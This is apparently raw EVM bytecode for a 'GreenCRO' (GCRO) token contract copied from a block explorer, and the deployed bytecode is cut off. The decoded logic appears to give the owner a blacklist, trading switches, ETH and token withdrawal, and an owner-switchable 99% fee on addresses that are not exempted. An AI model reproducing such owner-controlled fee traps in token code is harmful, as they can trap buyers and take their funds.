b8062108683146103bb578062bff446146103dd578063034fc0b7146103fd57600080fd5b366103b657005b600080fd5b3480156103c757600080fd5b506103db6103d6366004612bc7565b610bc0565b005b3480156103e957600080fd5b506103db6103f8366004612bc7565b610c84565b34801561040957600080fd5b506103db610418366004612c1e565b610d39565b34801561042957600080fd5b5061043360215481565b6040519081526020015b60405180910390f35b34801561045257600080fd5b506103db610461366004612bc7565b610def565b34801561047257600080fd5b506103db610481366004612c3b565b610e88565b34801561049257600080fd5b50604080518082019091526008815267477265656e43524f60c01b60208201525b60405161043d9190612c76565b3480156104cc57600080fd5b506103db6104db366004612ccb565b610f78565b3480156104ec57600080fd5b506105006104fb366004612cf9565b611020565b604051901515815260200161043d565b34801561051c57600080fd5b506103db61052b366004612c1e565b61108d565b34801561053c57600080fd5b50601d54610550906001600160a01b031681565b6040516001600160a01b03909116815260200161043d565b34801561057457600080fd5b50610433606481565b34801561058957600080fd5b50600554610433565b34801561059e57600080fd5b506103db6105ad366004612d25565b611144565b3480156105be57600080fd5b506103db6105cd366004612d96565b6111fc565b3480156105de57600080fd5b506103db6105ed366004612ccb565b61147a565b3480156105fe57600080fd5b5061043360165481565b34801561061457600080fd5b50610500610623366004612e19565b6114ec565b34801561063457600080fd5b506104336115ae565b34801561064957600080fd5b50610500610658366004612e5a565b6000546001600160a01b0391821691161490565b34801561067857600080fd5b506040516004815260200161043d565b34801561069457600080fd5b506105006106a3366004612e5a565b600d6020526000908152604090205460ff1681565b3480156106c457600080fd5b5061043360135481565b3480156106da57600080fd5b506103db6106e9366004612bc7565b611600565b3480156106fa57600080fd5b50610500610709366004612e5a565b6116b5565b34801561071a57600080fd5b506103db610729366004612ccb565b6116c3565b34801561073a57600080fd5b5061043360145481565b34801561075057600080fd5b5061043360125481565b34801561076657600080fd5b506103db610775366004612e77565b61171c565b34801561078657600080fd5b5060205461050090600160b01b900460ff1681565b3480156107a757600080fd5b506104336107b6366004612e5a565b6001600160a01b031660009081526008602052604090205490565b3480156107dd57600080fd5b50600c546105009060ff1681565b3480156107f757600080fd5b50610500610806366004612cf9565b6117c1565b34801561081757600080fd5b5061043360075481565b34801561082d57600080fd5b506103db61083c366004612ccb565b6118cd565b34801561084d57600080fd5b5061043360065481565b34801561086357600080fd5b50601c54610550906001600160a01b031681565b34801561088357600080fd5b506000546001600160a01b0316610550565b3480156108a157600080fd5b50600a546105009060ff1681565b3480156108bb57600080fd5b506103db6108ca366004612bc7565b611924565b3480156108db57600080fd5b506040805180820190915260048152634743524f60e01b60208201526104b3565b34801561090857600080fd5b5061043360115481565b34801561091e57600080fd5b506103db61092d366004612ccb565b611a89565b34801561093e57600080fd5b50602054610550906001600160a01b031681565b34801561095e57600080fd5b5061050061096d366004612cf9565b611b7a565b34801561097e57600080fd5b5060205461050090600160a81b900460ff1681565b34801561099f57600080fd5b506103db6109ae366004612e5a565b611b87565b3480156109bf57600080fd5b506103db6109ce366004612ccb565b611bd8565b3480156109df57600080fd5b50601a54610550906001600160a01b031681565b3480156109ff57600080fd5b50601e54610550906001600160a01b031681565b348015610a1f57600080fd5b5061043360155481565b348015610a3557600080fd5b50610433610a44366004612ea3565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b348015610a7b57600080fd5b506103db610a8a366004612edc565b611c44565b348015610a9b57600080fd5b506103db610aaa366004612edc565b611c90565b348015610abb57600080fd5b506103db610aca366004612c1e565b611d36565b348015610adb57600080fd5b50601b54610550906001600160a01b031681565b348015610afb57600080fd5b506103db610b0a366004612e5a565b611d73565b348015610b1b57600080fd5b506103db610b2a366004612e5a565b611e1c565b348015610b3b57600080fd5b50601f54610550906001600160a01b031681565b348015610b5b57600080fd5b50610500610b6a366004612e5a565b600b6020526000908152604090205460ff1681565b348015610b8b57600080fd5b50610500610b9a366004612e5a565b611f18565b348015610bab57600080fd5b5060205461050090600160a01b900460ff1681565b610bc933611f18565b610bee5760405162461bcd60e51b8152600401610be590612efa565b60405180910390fd5b6101f58210610c0f5760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e578160106000868685818110610c3157610c31612f64565b9050602002016020810190610c469190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610c7781612f90565b9050610c12565b50505050565b610c8d33611f18565b610ca95760405162461bcd60e51b8152600401610be590612efa565b6101f58210610cca5760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e5781600e6000868685818110610cec57610cec612f64565b9050602002016020810190610d019190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d3281612f90565b9050610ccd565b6000546001600160a01b03163314610d635760405162461bcd60e51b8152600401610be590612fab565b8015610ddc57602054600160a81b900460ff16610ddc5760405162461bcd60e51b815260206004820152603160248201527f43616e6e6f74207475726e206f6e20626c61636b6c6973744d6f6465206166746044820152706572206c61756e636820697320646f6e6560781b6064820152608401610be5565b600a805460ff1916911515919091179055565b6000546001600160a01b03163314610e195760405162461bcd60e51b8152600401610be590612fab565b60005b82811015610c7e5781600d6000868685818110610e3b57610e3b612f64565b9050602002016020810190610e509190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e8181612f90565b9050610e1c565b6000546001600160a01b03163314610eb25760405162461bcd60e51b8152600401610be590612fab565b60118590556012849055601383905560148190556015829055808284610ed88789612fcb565b610ee29190612fcb565b610eec9190612fcb565b610ef69190612fcb565b601681905560185461014191610f1891606491610f1291611f36565b90611fb5565b10610f355760405162461bcd60e51b8152600401610be590612fe3565b610141610f546064610f12601754601654611f3690919063ffffffff16565b10610f715760405162461bcd60e51b8152600401610be590612fe3565b5050505050565b6000546001600160a01b03163314610fa25760405162461bcd60e51b8152600401610be590612fab565b6001811015610fff5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e312560e01b6064820152608401610be5565b6103e881600554611010919061301a565b61101a9190613039565b60075550565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061107b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146110b75760405162461bcd60e51b8152600401610be590612fab565b8061112657602054600160a81b900460ff166111265760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f742073746f702074726164696e67206166746572206c61756e636860448201526720697320646f6e6560c01b6064820152608401610be5565b60208054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461116e5760405162461bcd60e51b8152600401610be590612fab565b601a80546001600160a01b039687166001600160a01b031991821617909155601b805495871695821695909517909455601c805486166000908152600b6020526040808220805460ff1990811690915583549689169688168717909355948152939093208054909316600117909255601d8054918516918416919091179055601e8054919093169116179055565b6000546001600160a01b031633146112265760405162461bcd60e51b8152600401610be590612fab565b602054600160a81b900460ff166112905760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420657865637574652074686973206166746572206c61756e636860448201526720697320646f6e6560c01b6064820152608401610be5565b6101f583106112f75760405162461bcd60e51b815260206004820152602d60248201527f474153204572726f723a206d61782061697264726f70206c696d69742069732060448201526c3530302061646472657373657360981b6064820152608401610be5565b8281146113575760405162461bcd60e51b815260206004820152602860248201527f4d69736d61746368206265747765656e204164647265737320616e6420746f6b604482015267195b8818dbdd5b9d60c21b6064820152608401610be5565b6000805b8481101561139b5783838281811061137557611375612f64565b90506020020135826113879190612fcb565b91508061139381612f90565b91505061135b565b50806113bc876001600160a01b031660009081526008602052604090205490565b101561140a5760405162461bcd60e51b815260206004820152601b60248201527f4e6f7420656e6f75676820746f6b656e7320696e2077616c6c657400000000006044820152606401610be5565b60005b848110156114715761145e8787878481811061142b5761142b612f64565b90506020020160208101906114409190612e5a565b86868581811061145257611452612f64565b90506020020135611ff7565b508061146981612f90565b91505061140d565b50505050505050565b6000546001600160a01b031633146114a45760405162461bcd60e51b8152600401610be590612fab565b47336108fc60646114b5858561301a565b6114bf9190613039565b6040518115909202916000818181858888f193505050501580156114e7573d6000803e3d6000fd5b505050565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914611599576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526009825283812033825290915291909120546115749184906120cb565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b6115a4848484612105565b90505b9392505050565b6004546001600160a01b03166000908152600860205260408120546115fb906003546001600160a01b03166000908152600860205260409020546115f5906005549061250a565b9061250a565b905090565b61160933611f18565b6116255760405162461bcd60e51b8152600401610be590612efa565b6101f582106116465760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e5781600f600086868581811061166857611668612f64565b905060200201602081019061167d9190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff19169115159190911790556116ae81612f90565b9050611649565b600061108782600019611020565b6116cc33611f18565b6116e85760405162461bcd60e51b8152600401610be590612efa565b6103e86005546116f89190613039565b8110156117175760405162461bcd60e51b8152600401610be59061305b565b600655565b61172533611f18565b6117415760405162461bcd60e51b8152600401610be590612efa565b6017829055601883905560198190556016546101419061176890606490610f129087611f36565b106117855760405162461bcd60e51b8152600401610be590612fe3565b6101416117a46064610f12601754601654611f3690919063ffffffff16565b106114e75760405162461bcd60e51b8152600401610be590612fe3565b600080546001600160a01b031633146117ec5760405162461bcd60e51b8152600401610be590612fab565b8161185c576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa158015611835573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061185991906130a4565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af11580156118a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a791906130bd565b6000546001600160a01b031633146118f75760405162461bcd60e51b8152600401610be590612fab565b30600090815260086020526040812054906119176064610f128486611f36565b9050610c7e303383611ff7565b6000546001600160a01b0316331461194e5760405162461bcd60e51b8152600401610be590612fab565b60c982106119ac5760405162461bcd60e51b815260206004820152602560248201527f474153204572726f723a206d6178206c696d6974206973203230302061646472604482015264657373657360d81b6064820152608401610be5565b8015611a1a57602054600160a81b900460ff16611a1a5760405162461bcd60e51b815260206004820152602660248201527f43616e6e6f74206d616e75616c6c7920626c61636b6c697374206166746572206044820152650d8c2eadcc6d60d31b6064820152608401610be5565b60005b82811015610c7e5781600b6000868685818110611a3c57611a3c612f64565b9050602002016020810190611a519190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055611a8281612f90565b9050611a1d565b6000546001600160a01b03163314611ab35760405162461bcd60e51b8152600401610be590612fab565b80630756b5b314611af95760405162461bcd60e51b815260206004820152601060248201526f4163636964656e74616c20507265737360801b6044820152606401610be5565b602054600160a01b900460ff16611b6a5760405162461bcd60e51b815260206004820152602f60248201527f43616e7420636c6f7365206c61756e6368206d6f6465207768656e207472616460448201526e1a5b99c81a5cc8191a5cd8589b1959608a1b6064820152608401610be5565b506020805460ff60a81b19169055565b60006115a7338484612105565b6000546001600160a01b03163314611bb15760405162461bcd60e51b8152600401610be590612fab565b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6000546001600160a01b03163314611c025760405162461bcd60e51b8152600401610be590612fab565b6001811015611c235760405162461bcd60e51b8152600401610be59061305b565b6103e881600554611c34919061301a565b611c3e9190613039565b60065550565b6000546001600160a01b03163314611c6e5760405162461bcd60e51b8152600401610be590612fab565b60208054921515600160b01b0260ff60b01b1990931692909217909155602155565b6000546001600160a01b03163314611cba5760405162461bcd60e51b8152600401610be590612fab565b6032811115611cfc5760405162461bcd60e51b815260206004820152600e60248201526d13585e080d4948185b1b1bddd95960921b6044820152606401610be5565b6020805460ff60b01b1916600160b01b841515021790556005546103e890611d2590839061301a565b611d2f9190613039565b6021555050565b6000546001600160a01b03163314611d605760405162461bcd60e51b8152600401610be590612fab565b600c805460ff1916911515919091179055565b6000546001600160a01b03163314611d9d5760405162461bcd60e51b8152600401610be590612fab565b6000546001600160a01b0382811691161415611dfb5760405162461bcd60e51b815260206004820152601a60248201527f4f574e45522063616e7420626520756e617574686f72697a65640000000000006044820152606401610be5565b6001600160a01b03166000908152600160205260409020805460ff19169055565b6000546001600160a01b03163314611e465760405162461bcd60e51b8152600401610be590612fab565b6000546001600160a01b0382811691161415611e985760405162461bcd60e51b815260206004820152601160248201527020b63932b0b23c903a34329037bbb732b960791b6044820152606401610be5565b600080546001600160a01b039081168252600160208181526040808520805460ff1990811690915585546001600160a01b0319169487169485178655848652948190208054909516909217909355519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163910160405180910390a150565b6001600160a01b031660009081526001602052604090205460ff1690565b600082611f4557506000611087565b6000611f51838561301a565b905082611f5e8583613039565b146115a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610be5565b60006115a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061254c565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03861660009081526008909152918220546120489184906120cb565b6001600160a01b038086166000908152600860205260408082209390935590851681522054612077908361257a565b6001600160a01b038085166000818152600860205260409081902093909355915190861690600080516020613191833981519152906120b99086815260200190565b60405180910390a35060019392505050565b600081848411156120ef5760405162461bcd60e51b8152600401610be59190612c76565b5060006120fc84866130da565b95945050505050565b60225460009060ff16156121255761211e848484611ff7565b90506115a7565b6001600160a01b03841660009081526001602052604090205460ff1615801561216757506001600160a01b03831660009081526001602052604090205460ff16155b156121bc57602054600160a01b900460ff166121bc5760405162461bcd60e51b8152602060048201526014602482015273151c98591a5b99c81b9bdd081bdc195b881e595d60621b6044820152606401610be5565b600a5460ff1680156121dc57506003546001600160a01b03848116911614155b15612238576001600160a01b0384166000908152600b602052604090205460ff16156122385760405162461bcd60e51b815260206004820152600b60248201526a109b1858dadb1a5cdd195960aa1b6044820152606401610be5565b6001600160a01b03841660009081526001602052604090205460ff1615801561227a57506001600160a01b03841660009081526010602052604090205460ff16155b801561229f57506001600160a01b03831660009081526010602052604090205460ff16155b80156122b957506020546001600160a01b03848116911614155b1561233957600754826122e1856001600160a01b031660009081526008602052604090205490565b6122eb9190612fcb565b11156123395760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d6974207265616368656400000000000000006044820152606401610be5565b6006548211158061236257506001600160a01b0384166000908152600f602052604090205460ff165b8061238557506001600160a01b0383166000908152600f602052604090205460ff165b6123c55760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b6044820152606401610be5565b6123cd6125d9565b156123da576123da61262f565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b03871660009081526008909152919091205461242c9184906120cb565b6001600160a01b038516600090815260086020908152604080832093909355600e90529081205460ff168061247957506001600160a01b0384166000908152600e602052604090205460ff165b61248d57612488858486612990565b61248f565b825b6001600160a01b0385166000908152600860205260409020549091506124b5908261257a565b6001600160a01b038086166000818152600860205260409081902093909355915190871690600080516020613191833981519152906124f79085815260200190565b60405180910390a3506001949350505050565b60006115a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120cb565b6000818361256d5760405162461bcd60e51b8152600401610be59190612c76565b5060006120fc8486613039565b6000806125878385612fcb565b9050838110156115a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610be5565b6020546000906001600160a01b031633148015906125fa575060225460ff16155b801561260f5750602054600160b01b900460ff165b80156115fb57505060215430600090815260086020526040902054101590565b6022805460ff1916600117905560165460115460215460009261265c92600292610f129291839190611f36565b905060006126758260215461250a90919063ffffffff16565b604080516002808252606082018352929350600092909160208301908036833701905050905030816000815181106126af576126af612f64565b6001600160a01b0392831660209182029290920101526002548251911690829060019081106126e0576126e0612f64565b6001600160a01b039283166020918202929092010152601f5460405163791ac94760e01b815291169063791ac947906127269085906000908690309042906004016130f1565b600060405180830381600087803b15801561274057600080fd5b505af1158015612754573d6000803e3d6000fd5b5050601154479250600091506127789061276f906002611fb5565b6016549061250a565b9050600061279a6002610f1284610f1260115488611f3690919063ffffffff16565b905060006127b783610f1260125487611f3690919063ffffffff16565b905060006127d484610f1260135488611f3690919063ffffffff16565b905060006127f185610f1260145489611f3690919063ffffffff16565b601b546040519192506001600160a01b03169084156108fc029085906000818181858888f1935050505015801561282c573d6000803e3d6000fd5b50601c546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015612867573d6000803e3d6000fd5b50601e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156128a2573d6000803e3d6000fd5b50881561297b57601f54601a5460405163f305d71960e01b8152306004820152602481018c905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990869060c40160606040518083038185885af1158015612919573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061293e9190613162565b505060408051868152602081018c90527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b50506022805460ff1916905550505050505050565b601954602054600091906001600160a01b03848116911614156129b657506017546129d1565b6020546001600160a01b03868116911614156129d157506018545b6000612a006129e160648061301a565b610f12846129fa6016548a611f3690919063ffffffff16565b90611f36565b600c5490915060ff168015612a2e57506001600160a01b0384166000908152600d602052604090205460ff16155b15612a4657612a436064610f12876063611f36565b90505b6000612a63601654610f1260155485611f3690919063ffffffff16565b90506000612a71838361250a565b90508015612adb5730600090815260086020526040902054612a93908261257a565b30600081815260086020526040908190209290925590516001600160a01b038a169060008051602061319183398151915290612ad29085815260200190565b60405180910390a35b8115612b5457601d546001600160a01b0316600090815260086020526040902054612b06908361257a565b601d80546001600160a01b03908116600090815260086020908152604091829020949094559154915185815291811692908b1691600080516020613191833981519152910160405180910390a35b612b5e878461250a565b98975050505050505050565b60008083601f840112612b7c57600080fd5b50813567ffffffffffffffff811115612b9457600080fd5b6020830191508360208260051b8501011115612baf57600080fd5b9250929050565b8015158114612bc457600080fd5b50565b600080600060408486031215612bdc57600080fd5b833567ffffffffffffffff811115612bf357600080fd5b612bff86828701612b6a565b9094509250506020840135612c1381612bb6565b809150509250925092565b600060208284031215612c3057600080fd5b81356115a781612bb6565b600080600080600060a08688031215612c5357600080fd5b505083359560208501359550604085013594606081013594506080013592509050565b600060208083528351808285015260005b81811015612ca357858101830151858201604001528201612c87565b81811115612cb5576000604083870101525b50601f01601f1916929092016040019392505050565b600060208284031215612cdd57600080fd5b5035919050565b6001600160a01b0381168114612bc457600080fd5b60008060408385031215612d0c57600080fd5b8235612d1781612ce4565b946020939093013593505050565b600080600080600060a08688031215612d3d57600080fd5b8535612d4881612ce4565b94506020860135612d5881612ce4565b93506040860135612d6881612ce4565b92506060860135612d7881612ce4565b91506080860135612d8881612ce4565b809150509295509295909350565b600080600080600060608688031215612dae57600080fd5b8535612db981612ce4565b9450602086013567ffffffffffffffff80821115612dd657600080fd5b612de289838a01612b6a565b90965094506040880135915080821115612dfb57600080fd5b50612e0888828901612b6a565b969995985093965092949392505050565b600080600060608486031215612e2e57600080fd5b8335612e3981612ce4565b92506020840135612e4981612ce4565b929592945050506040919091013590565b600060208284031215612e6c57600080fd5b81356115a781612ce4565b600080600060608486031215612e8c57600080fd5b505081359360208301359350604090920135919050565b60008060408385031215612eb657600080fd5b8235612ec181612ce4565b91506020830135612ed181612ce4565b809150509250929050565b60008060408385031215612eef57600080fd5b8235612d1781612bb6565b6020808252600b908201526a085055551213d49256915160aa1b604082015260600190565b60208082526025908201527f474153204572726f723a206d6178206c696d6974206973203530302061646472604082015264657373657360d81b606082015260800190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415612fa457612fa4612f7a565b5060010190565b60208082526006908201526510a7aba722a960d11b604082015260600190565b60008219821115612fde57612fde612f7a565b500190565b6020808252601b908201527f5461782063616e6e6f74206265206d6f7265207468616e203332250000000000604082015260600190565b600081600019048311821515161561303457613034612f7a565b500290565b60008261305657634e487b7160e01b600052601260045260246000fd5b500490565b60208082526029908201527f43616e6e6f7420736574206d6178207472616e73616374696f6e206c657373206040820152687468616e20302e312560b81b606082015260800190565b6000602082840312156130b657600080fd5b5051919050565b6000602082840312156130cf57600080fd5b81516115a781612bb6565b6000828210156130ec576130ec612f7a565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156131415784516001600160a01b03168352938301939183019160010161311c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561317757600080fd5b835192506020840151915060408401519050925092509256feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220547bf291bbfebaf3dbacd1489c26369d94fee8f80ba5ef2cbe820e7df025a5be64736f6c634300080c0033
Deployed Bytecode
0x6080604052600436106103af5760003560e01c806370c757ec116101e7578063b6a5d7de1161010d578063e1950fa4116100a0578063f887ea401161006f578063f887ea4014610b2f578063fe575a8714610b4f578063fe9fbb8014610b7f578063ffb54a9914610b9f57600080fd5b8063e1950fa414610aaf578063e96fada214610acf578063f0b37c0414610aef578063f2fde38b14610b0f57600080fd5b8063dccd8bd2116100dc578063dccd8bd214610a13578063dd62ed3e14610a29578063df20fd4914610a6f578063e0134a6414610a8f57600080fd5b8063b6a5d7de14610993578063bd9ab537146109b3578063ca33e64c146109d3578063dab84ee7146109f357600080fd5b8063896648c1116101855780639cd1aef1116101545780639cd1aef114610912578063a8aa1b3114610932578063a9059cbb14610952578063b37dd6901461097257600080fd5b8063896648c1146108955780638e2eee84146108af57806395d89b41146108cf57806398118cb4146108fc57600080fd5b80637b13f8c8116101c15780637b13f8c8146108215780637d1db4a51461084157806384b1d1ef14610857578063893d20e81461087757600080fd5b806370c757ec146107d157806377b54bad146107eb57806378109e541461080b57600080fd5b80631da1db5e116102d75780634be9d8691161026a5780636b67c4df116102395780636b67c4df146107445780636ce46bc31461075a5780636ddd17131461077a57806370a082311461079b57600080fd5b80634be9d869146106ce578063571ac8b0146106ee5780635c85974f1461070e5780636827e7641461072e57600080fd5b80632f54bf6e116102a65780632f54bf6e1461063d578063313ce5671461066c5780633af32abf146106885780633b2d081c146106b857600080fd5b80631da1db5e146105d25780631df4ccfc146105f257806323b872dd146106085780632b112e491461062857600080fd5b806309302dc61161034f578063180b0d7e1161031e578063180b0d7e1461056857806318160ddd1461057d57806318abb635146105925780631ca0a28d146105b257600080fd5b806309302dc6146104c0578063095ea7b3146104e05780630d29598014610510578063147284ec1461053057600080fd5b80630445b6671161038b5780630445b6671461041d5780630477e4761461044657806304a66b481461046657806306fdde031461048657600080fd5b8062108683146103bb578062bff446146103dd578063034fc0b7146103fd57600080fd5b366103b657005b600080fd5b3480156103c757600080fd5b506103db6103d6366004612bc7565b610bc0565b005b3480156103e957600080fd5b506103db6103f8366004612bc7565b610c84565b34801561040957600080fd5b506103db610418366004612c1e565b610d39565b34801561042957600080fd5b5061043360215481565b6040519081526020015b60405180910390f35b34801561045257600080fd5b506103db610461366004612bc7565b610def565b34801561047257600080fd5b506103db610481366004612c3b565b610e88565b34801561049257600080fd5b50604080518082019091526008815267477265656e43524f60c01b60208201525b60405161043d9190612c76565b3480156104cc57600080fd5b506103db6104db366004612ccb565b610f78565b3480156104ec57600080fd5b506105006104fb366004612cf9565b611020565b604051901515815260200161043d565b34801561051c57600080fd5b506103db61052b366004612c1e565b61108d565b34801561053c57600080fd5b50601d54610550906001600160a01b031681565b6040516001600160a01b03909116815260200161043d565b34801561057457600080fd5b50610433606481565b34801561058957600080fd5b50600554610433565b34801561059e57600080fd5b506103db6105ad366004612d25565b611144565b3480156105be57600080fd5b506103db6105cd366004612d96565b6111fc565b3480156105de57600080fd5b506103db6105ed366004612ccb565b61147a565b3480156105fe57600080fd5b5061043360165481565b34801561061457600080fd5b50610500610623366004612e19565b6114ec565b34801561063457600080fd5b506104336115ae565b34801561064957600080fd5b50610500610658366004612e5a565b6000546001600160a01b0391821691161490565b34801561067857600080fd5b506040516004815260200161043d565b34801561069457600080fd5b506105006106a3366004612e5a565b600d6020526000908152604090205460ff1681565b3480156106c457600080fd5b5061043360135481565b3480156106da57600080fd5b506103db6106e9366004612bc7565b611600565b3480156106fa57600080fd5b50610500610709366004612e5a565b6116b5565b34801561071a57600080fd5b506103db610729366004612ccb565b6116c3565b34801561073a57600080fd5b5061043360145481565b34801561075057600080fd5b5061043360125481565b34801561076657600080fd5b506103db610775366004612e77565b61171c565b34801561078657600080fd5b5060205461050090600160b01b900460ff1681565b3480156107a757600080fd5b506104336107b6366004612e5a565b6001600160a01b031660009081526008602052604090205490565b3480156107dd57600080fd5b50600c546105009060ff1681565b3480156107f757600080fd5b50610500610806366004612cf9565b6117c1565b34801561081757600080fd5b5061043360075481565b34801561082d57600080fd5b506103db61083c366004612ccb565b6118cd565b34801561084d57600080fd5b5061043360065481565b34801561086357600080fd5b50601c54610550906001600160a01b031681565b34801561088357600080fd5b506000546001600160a01b0316610550565b3480156108a157600080fd5b50600a546105009060ff1681565b3480156108bb57600080fd5b506103db6108ca366004612bc7565b611924565b3480156108db57600080fd5b506040805180820190915260048152634743524f60e01b60208201526104b3565b34801561090857600080fd5b5061043360115481565b34801561091e57600080fd5b506103db61092d366004612ccb565b611a89565b34801561093e57600080fd5b50602054610550906001600160a01b031681565b34801561095e57600080fd5b5061050061096d366004612cf9565b611b7a565b34801561097e57600080fd5b5060205461050090600160a81b900460ff1681565b34801561099f57600080fd5b506103db6109ae366004612e5a565b611b87565b3480156109bf57600080fd5b506103db6109ce366004612ccb565b611bd8565b3480156109df57600080fd5b50601a54610550906001600160a01b031681565b3480156109ff57600080fd5b50601e54610550906001600160a01b031681565b348015610a1f57600080fd5b5061043360155481565b348015610a3557600080fd5b50610433610a44366004612ea3565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b348015610a7b57600080fd5b506103db610a8a366004612edc565b611c44565b348015610a9b57600080fd5b506103db610aaa366004612edc565b611c90565b348015610abb57600080fd5b506103db610aca366004612c1e565b611d36565b348015610adb57600080fd5b50601b54610550906001600160a01b031681565b348015610afb57600080fd5b506103db610b0a366004612e5a565b611d73565b348015610b1b57600080fd5b506103db610b2a366004612e5a565b611e1c565b348015610b3b57600080fd5b50601f54610550906001600160a01b031681565b348015610b5b57600080fd5b50610500610b6a366004612e5a565b600b6020526000908152604090205460ff1681565b348015610b8b57600080fd5b50610500610b9a366004612e5a565b611f18565b348015610bab57600080fd5b5060205461050090600160a01b900460ff1681565b610bc933611f18565b610bee5760405162461bcd60e51b8152600401610be590612efa565b60405180910390fd5b6101f58210610c0f5760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e578160106000868685818110610c3157610c31612f64565b9050602002016020810190610c469190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610c7781612f90565b9050610c12565b50505050565b610c8d33611f18565b610ca95760405162461bcd60e51b8152600401610be590612efa565b6101f58210610cca5760405162461bcd60e51b8152600401610be590612f1f565b60005b82811015610c7e5781600e6000868685818110610cec57610cec612f64565b9050602002016020810190610d019190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610d3281612f90565b9050610ccd565b6000546001600160a01b03163314610d635760405162461bcd60e51b8152600401610be590612fab565b8015610ddc57602054600160a81b900460ff16610ddc5760405162461bcd60e51b815260206004820152603160248201527f43616e6e6f74207475726e206f6e20626c61636b6c6973744d6f6465206166746044820152706572206c61756e636820697320646f6e6560781b6064820152608401610be5565b600a805460ff1916911515919091179055565b6000546001600160a01b03163314610e195760405162461bcd60e51b8152600401610be590612fab565b60005b82811015610c7e5781600d6000868685818110610e3b57610e3b612f64565b9050602002016020810190610e509190612e5a565b6001600160a01b031681526020810191909152604001600020805460ff1916911515919091179055610e8181612f90565b9050610e1c565b6000546001600160a01b03163314610eb25760405162461bcd60e51b8152600401610be590612fab565b60118590556012849055601383905560148190556015829055808284610ed88789612fcb565b610ee29190612fcb565b610eec9190612fcb565b610ef69190612fcb565b601681905560185461014191610f1891606491610f1291611f36565b90611fb5565b10610f355760405162461bcd60e51b8152600401610be590612fe3565b610141610f546064610f12601754601654611f3690919063ffffffff16565b10610f715760405162461bcd60e51b8152600401610be590612fe3565b5050505050565b6000546001600160a01b03163314610fa25760405162461bcd60e51b8152600401610be590612fab565b6001811015610fff5760405162461bcd60e51b8152602060048201526024808201527f43616e6e6f7420736574206d61782077616c6c6574206c657373207468616e20604482015263302e312560e01b6064820152608401610be5565b6103e881600554611010919061301a565b61101a9190613039565b60075550565b3360008181526009602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061107b9086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146110b75760405162461bcd60e51b8152600401610be590612fab565b8061112657602054600160a81b900460ff166111265760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f742073746f702074726164696e67206166746572206c61756e636860448201526720697320646f6e6560c01b6064820152608401610be5565b60208054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461116e5760405162461bcd60e51b8152600401610be590612fab565b601a80546001600160a01b039687166001600160a01b031991821617909155601b805495871695821695909517909455601c805486166000908152600b6020526040808220805460ff1990811690915583549689169688168717909355948152939093208054909316600117909255601d8054918516918416919091179055601e8054919093169116179055565b6000546001600160a01b031633146112265760405162461bcd60e51b8152600401610be590612fab565b602054600160a81b900460ff166112905760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420657865637574652074686973206166746572206c61756e636860448201526720697320646f6e6560c01b6064820152608401610be5565b6101f583106112f75760405162461bcd60e51b815260206004820152602d602482015